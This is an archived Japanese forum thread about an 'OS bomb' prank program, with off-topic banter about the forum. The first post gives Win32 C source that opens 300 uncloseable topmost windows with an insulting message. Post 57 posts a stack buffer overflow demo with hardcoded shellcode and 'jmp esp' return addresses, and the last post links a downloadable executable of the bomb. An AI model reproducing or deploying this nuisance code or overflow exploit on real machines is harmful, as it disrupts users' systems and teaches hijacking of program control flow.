トップページ⇒tech
63コメント16KB

OSボム

■ このスレッドは過去ログ倉庫に格納されています
0001DELLNGNG
#include<windows.h>
#include<time.h>
long __stdcall WndProc(HWND h, UINT u, WPARAM w , LPARAM l){
HDC d; PAINTSTRUCT p; static RECT r;
static char str[128] = "go to hell! FuckUP!!!.";
switch(u){
case WM_CLOSE:
return 0;
case 15:
d = BeginPaint(h,&p);
GetClientRect(h,&r);
DrawText(d,str,-1,&r,DT_WORDBREAK);
EndPaint(h,&p);
return 0;
}
return DefWindowProc(h,u,w,l);
}
int __stdcall WinMain(HINSTANCE I, HINSTANCE,
PSTR s, int n){
HWND h;MSG msg;WNDCLASS w;
w.style= CS_HREDRAW | CS_VREDRAW;
w.lpfnWndProc= WndProc;
w.cbClsExtra= w.cbWndExtra= 0;
w.hInstance= I;
w.hIcon= LoadIcon(0, IDI_HAND);
w.hCursor= LoadCursor(0, IDC_NO);
w.hbrBackground= (HBRUSH)GetStockObject(WHITE_BRUSH);
w.lpszMenuName= 0;
w.lpszClassName= "STATIC";
RegisterClass(&w);
for(int x,y,i = 0;i<300;i++){
x = rand() % 924;
y = rand() % 668;
h = CreateWindowEx(WS_EX_TOPMOST,
"STATIC","アーッヒャッヒャッヒャ",
WS_OVERLAPPEDWINDOW | WS_VISIBLE ,
x , y , 200 , 200 , 0 , 0,
I , 0
);}
while (GetMessage(&msg , 0, 0 , 0)) DispatchMessage(&msg);
return msg.wParam;
}
0052デフォルトの名無しさんNGNG
>>51
2ちゃんに来ている時点で同レベル。安心しなされ。
0053デフォルトの名無しさんNGNG
OSボムっていうくらいだから、発動したら二度と起動すらしないくらいのものをきぼんぬ
0054デフォルトの名無しさんNGNG
>>52
俺ね、思うんだけどね。
2ちゃん来てる=レベル低い みたいな事なぜ言うんだろう?
たしかに、役に立たない情報も多いけど、
役に立つ情報も沢山あるし。
煽りや罵倒も多々あるけど、この情報量を見ると利用しない手はない。
大きな情報交換の場である2ちゃんを、レベル低いから見ないなんて言ってるヤツは、
不器用。頭固い。勘違いヤロー。
または、多い情報の中から有益と思える情報を見つける事のできない要領の悪いヤツ。
うまくすれば、良い情報源だと思うんだけどねぇ〜。

と、マジレスしてみますた。
0055デフォルトの名無しさんNGNG
>>54
人としてどうか。ということかもシレーヌ
0056デフォルトの名無しさんNGNG
>>55
人として・・・???
意味が分らないッス。

たしかに、マジ変なのも居てるけどね(w
たとえば、>>1とか。(w
俺は2ちゃん覗きだして自分が変わったとも思わないし、
強いて、悪い影響を受けたとも思ってない。
「すげーヤツも居るんだな!オイ!俺も、もうちと勉強せねば!」
みたいな良い影響は少し受けたり受けなかったり。

と、またマジレスしてみたけど、
まぁ人それぞれってな無難なまとめで。(w
0057デフォルトの名無しさんNGNG
ハッキングテク語るスレって欲しいんだけど、
どういう展開になるか予想がつかないんだよなあ。

というわけで気球上げてみる。

void func(unsigned char *src, size_t size)
{
 unsigned char b[4];
 memcpy(b, src, size);
}

void test()
{
 unsigned char code[] = {
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x8b, 0x94, 0xf8, 0x77, // address of "jmp esp"
  0x8b, 0xc4, 0x83, 0xc0, 0x0f, 0x50, 0x6a, 0x00, 0xb8,
  0xfb, 0x7a, 0xe8, 0x77, // address of FatalAppExit()
  0xff, 0xd0, "hello"
 };

  srand((unsigned)time(NULL));
  _alloca(rand()/0x10000);

  func(code, sizeof(code));
}
0058デフォルトの名無しさんNGNG
>>57
立つ度に荒れて20レス逝く前に沈んでいっている。
0059デフォルトの名無しさんNGNG
>>58
想像するに、スレ立ってもハカー気取りの厨房しか集まらん、ということか。
逝ってきます。
0060_NGNG
   / ̄ ̄ ̄ ̄ ̄ ミ
  /   ,――――-ミ
 /  /  /   \ |
 |  /   ,(・) (・) |
  (6       つ  |
  |      ___  |   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  |      /__/ /  < age!
/|         /\   \__________

0061デフォルトの名無しさんNGNG
さらしあげ
0062デフォルトの名無しさんNGNG
OSボムだって。
こわいこわい。
0063DELLNGNG
これ
http://isweb45.infoseek.co.jp/play/elno/DeskTopBom.exe
■ このスレッドは過去ログ倉庫に格納されています